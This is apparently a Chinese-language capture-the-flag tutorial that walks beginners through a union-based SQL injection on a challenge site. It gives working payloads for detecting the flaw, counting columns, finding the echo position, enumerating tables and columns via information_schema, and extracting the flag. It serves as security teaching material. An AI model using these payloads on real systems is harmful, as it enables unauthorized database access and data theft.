CTF基础SQL联合注入超详细教程|从0基础到成功拿到Flag
一、题目背景与注入点发现
1. 初始页面信息
访问目标地址: http://180.76.235.121:32925/?id=1
页面返回:
plaintext
username: Dumb
password: 54521
数据库中有个特殊的表,flag就在这个表的数据中
这说明我们访问的是一个根据 id 参数查询用户信息的页面,且存在一个存储Flag的“特殊表”。
2. 注入类型判断(关键第一步)
问题:怎么判断是不是注入点?是什么类型的注入?
我们给 id 参数加上单引号测试:
plaintext
?id=1'
页面直接报SQL语法错误:
plaintext
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' limit 0,1' at line 1
结论:
- 报错说明参数 id 没有做过滤,存在SQL注入漏洞
- 错误信息中出现了额外的 ' ,说明是单引号闭合的字符串型注入,后续所有语句都要加上单引号和注释符 --+ 来闭合原查询
二、字段数判断:Union注入的“地基”
1. 为什么要判断字段数?
Union Select 要求前后两个查询的列数必须完全一致,否则会直接报错。就像快递柜,你要往里面放东西,必须先知道有几个格子。
2. 用 Order By 精准判断
我们从2开始,逐个测试字段数:
plaintext
?id=1' order by 2--+ // 正常显示,说明列数≥2
?id=1' order by 3--+ // 正常显示,说明列数≥3
?id=1' order by 4--+ // 正常显示,说明列数≥4
?id=1' order by 5--+ // 报错!说明列数是4
结论:当前查询返回4列数据,后续所有 Union Select 语句都必须写4个字段。
三、回显位确定:拿到和数据库对话的窗口
1. 为什么要找回显位?
数据库里的信息不会凭空出现在页面上,我们需要找到页面上哪个位置可以显示我们注入的查询结果,这个位置就是“回显位”。
2. 用 Union Select 找回显位
构造语句,让原查询失效,强制显示我们的查询结果:
plaintext
?id=-1' union select 1,2,3,4--+
- id=-1' :让原查询 id=1 的结果为空,从而执行后面的 Union Select
- 1,2,3,4 :和原查询的4列字段数保持一致
- --+ :注释掉后面的SQL语句,避免语法错误
页面返回:
plaintext
username: 2
password: 3
结论: username 位置(第2列)和 password 位置(第3列)都可以回显数据,我们选择 2 号位置作为后续的回显位。
四、爆数据库名:拿到第一份关键信息
1. 目标
获取当前页面连接的数据库名称,后续才能通过 information_schema 系统表查询表名。
2. 注入语句
plaintext
?id=-1' union select 1,database(),3,4--+
- database() :MySQL内置函数,返回当前连接的数据库名
- 我们把函数放在回显位 2 的位置,让结果显示在 username 字段
页面返回:
plaintext
username: de7390f08e
结论:当前数据库名为 de7390f08e 。
五、爆所有表名:找到存储Flag的“特殊表”
1. 原理
MySQL的 information_schema.tables 表存储了所有数据库的表名,我们可以通过 where table_schema=数据库名 来查询当前数据库的所有表。
2. 注入语句
plaintext
?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
- group_concat() :把所有表名拼接成一行显示,避免分页查询的麻烦
- table_schema=database() :指定查询当前数据库的表
页面返回:
plaintext
username: t15d405eb4,users
结论:当前数据库有两个表: users 和 t15d405eb4 。根据题目提示, users 是普通用户表,所以存储Flag的“特殊表”是 t15d405eb4 。
六、爆目标表列名:找到Flag所在的列
1. 原理
information_schema.columns 表存储了所有表的列名,我们通过 where table_name=表名 来查询目标表的列结构。
2. 注入语句
plaintext
?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='t15d405eb4'--+
- table_name='t15d405eb4' :指定查询我们找到的特殊表的列名
页面返回:
plaintext
username: id,username,c193840be1
结论:目标表有3个列,其中 c193840be1 是存储Flag的列(非 id 、 username 的列大概率就是Flag列)。
七、查询Flag数据:通关!
1. 最终注入语句
直接查询 c193840be1 列的内容:
plaintext
?id=-1' union select 1,c193840be1,3,4 from t15d405eb4--+
2. 页面返回
plaintext
username: flag{b934485f-1df4-4890-a4c2-cf3d221871ad}
🎉 成功拿到Flag!
八、流程复盘与总结
我们整个流程严格遵循了Union注入的标准步骤:
1. 发现注入点:单引号报错,确定字符串型注入
2. 判断字段数:用 order by 确定列数为4
3. 找到回显位:用 union select 1,2,3,4 确定可回显位置
4. 爆数据库名: database() 获取当前库名
5. 爆所有表名:通过 information_schema.tables 找到目标表
6. 爆目标表列名:通过 information_schema.columns 找到Flag列
7. 查询Flag数据:直接查询目标列拿到Flag
Union注入的核心逻辑就是:先和数据库建立“对话通道”(回显位),再通过系统表一层层拿到我们需要的信息,最后直接查询目标数据。只要字段数和回显位判断正确,后面的步骤几乎都是固定的模板!
